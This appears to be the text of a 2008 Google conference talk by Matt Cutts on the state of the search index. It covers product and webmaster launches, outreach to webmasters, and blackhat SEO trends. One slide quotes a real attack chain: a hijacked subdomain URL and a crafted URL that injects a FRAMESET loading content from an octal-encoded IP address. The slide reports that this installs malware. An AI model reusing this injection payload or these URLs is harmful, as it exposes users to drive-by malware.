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State of the Index
Matt Cutts, Google
November 13, 2008
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2008 Google Launches
- Google Chrome: wicked-fast browser
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2008 Google Launches
- Android: open-source operating system
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2008 Google Launches
- Better machine translation
- Better voice recognition
- Google Suggest
- SearchWiki
- Improving personalization and universal/blended search
Lots of small things:
- 2001 search index
- Video and voice chat in Gmail
- Ability to track the flu
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Google Trends
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Google Trends for Websites
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Google Ad Manager
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Google Ad Planner
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2008 Webmaster launches
- Optical Character Recognition (OCR) on Acrobat/PDF docs
- Better crawling of Flash
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2008 Webmaster launches
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2008 Webmaster launches
- Better at keyword spam and gibberish
- Better processing of JavaScript
- Show urls that link to 404 pages on your site
- Custom 404 pages: 14 lines of JavaScript
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Sources of 404 errors
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Help with 404s: 14 lines of JavaScript
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2008 Webmaster launches
- Advanced segmentation in Google Analytics
- On-demand indexing for Google Custom Search Engines
- Webmaster APIs for hosters and Gdata
- Translation gadget for your website
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Webmaster communication
- Three webmaster chats (700+ people in the last call)
- Pulling back the curtain via search quality blog posts. Blog for Google Website Optimizer
- Chinese, German, Spanish webmaster blogs
- More videos, including German/Spanish/Polish
- Messages will wait for you to register your site
- Notifying sites that are hackable
- Yesterday: beginning SEO 101 guide
- Google does not hate SEO
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2009 Blackhat trends
- jeevesretirement.com <-- Do not go here!
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Hacking example
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Hacking example - he was lucky!
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2009 Trends
- Blackhat moves toward the outright illegal
DNS subdomain hijacking -> hacked sites
http://82623.artandstyle.com.au/map/
links to
http://www.keywordspy.com/ppc/noresult.aspx?q=SNL+GIRAFFES%3C/title%3E%3CFRAMESET%3E%3C
FRAME/SRC='//0131.0225.0363.0311/a/'%3E
which will install malware to hack your machine
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Conclusions
- Blackhat SEO will continue to veer towards outright illegal
- SEOs need to decide risk tolerance
- Google will keep communicating with webmasters
- Google will provide tools to help webmasters
- canonicalization or preferred urls
